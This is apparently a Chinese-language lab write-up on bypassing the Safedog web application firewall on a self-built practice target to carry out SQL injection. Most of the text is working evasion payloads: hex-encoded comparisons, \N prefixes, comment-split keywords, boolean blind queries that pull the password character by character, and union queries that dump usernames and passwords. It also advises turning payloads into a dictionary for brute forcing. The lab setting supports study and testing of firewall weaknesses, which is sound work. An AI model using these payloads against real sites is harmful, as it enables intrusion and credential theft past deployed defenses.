靶机搭建
成功部署靶机:web安全注入绕过靶机
内有:世界六大主机入侵检测系统之一的安全狗的部署
IP查询
物理机hosts绑定
浏览器访问
靶机搭建成功
正常注入语句会被拦截,可以开始绕过了
注入开始
判断对方中间件信息
判断注入点
输入正确账号,查看正确页面信息
试探
发现安全狗,开始绕过
中间字符通过
不会拦截,但是数据库识别不出来
这里的位置不同,会有不同结果
掺杂注释不通过
直接拦截
这里可以看到,这个安全狗对and、select、union等关键词都会进行拦截
对and进行编码测试通过
不会拦截,但是数据库识别不出来
大小写更改不通过
直接拦截
构建语句
vince'and 0x3a!=1#
成功绕过注入
总结
这里的拦截,是and与数字等式同时存在时,或者select、union任意一个单词存在,就会直接拦截
如vince'and 1!=2#,就会被拦截
而将1转换为acll码,则不会被拦截
vince'and 0x3a!=1#
这里解码0的ascll码为30,同样被拦截
vince'and unhex(30)=0#
vince'and unhex(30)!=1#
同样不拦截
这里总结,只要语句中没有数字等式1=1之类的,就不会被拦截
拥有注入点
出数据
两种方式,布尔型和联合查询
布尔型盲注
构造语句
vince'if(0x3a!=2,1,0)#
盲注可行性通过
开始判断库名
利用安全狗特性,构建第一个盲注语句
vince%27if(substr(database(),1,1)!='a',1,0)#
并查询
vince%27and if(substr(u/**/ser(),1,1)!='a',1,0)#
这里的并查询中,and被安全狗察觉并拦截
利用unicode编码绕过
利用\N绕过
构建语句
'\Nand(substr(u/**/ser() from 1 for 1)='r')#
vince'\Nand if(substr(u/**/ser(),1,1)='r',1,0)
通过大量的测试发现,and无法绕过,我们改用or,并将第一个语句置否
-1'\Nor if(substr(u/**/ser(),1,1)='r',1,0)
根本看不出来
这里多次测试后,发现根本不能使用user和database
所以再次更改使用version
?\Nor(substr(@@version from 1 for 1)=5)--+
通过
\Nor if(substr((/!select/ password from users limit 1) from 1 for 1)=5,1,0)
id=\Nor(substr((/!40000union/ password from users limit 1)from 1 for 1)=5)#
id=\Nor(substr((/!40000se%lect/ password from users limit 1)from 1 for 1)=5)#
整形绕过最终结果
?id=\Nor(substr((select password from users
limit 1)from 1 for 1)='e')--+
字符型绕过最终结果
?name=vince'and 0x31!=if((substr((select password from users
limit 1)from 2 for 1)='1'),0x30,0x31)--+
判断成功的页面
?name=vince'and 0x31!=if((substr((select password from users
limit 1)from 2 for 1)='2'),0x30,0x31)--+
判断失败的页面
这就是布尔型判断的依据
穷举爆破
我们一般将自己写出来的语句,做成一个字典
设置变量
字典导入
调节并发性
得出结果
如果不行,只能手工测试
联合查询注入
爆库
构建语句
?name='and 0x30!=info()--+
库名为myp1
构建语句
?name=vince%27+union///--///select+1,(select+password+from+users
+limit+1)--+
得到密码
联合查询语句最终结果
?name=vince%27+union///--///select+1,(select+concat(username,password)+from+users
+limit+1)--+
绕过安全狗获得
账号admin
密码10adc3949bs59abbe56e057f20f883e
注意
语句结尾跟的注释符要留意,像这一次的镜像,用#就无法成功,用--+才可以成功绕过
版权归原作者 白牧羊人 所有, 如有侵权,请联系我们删除。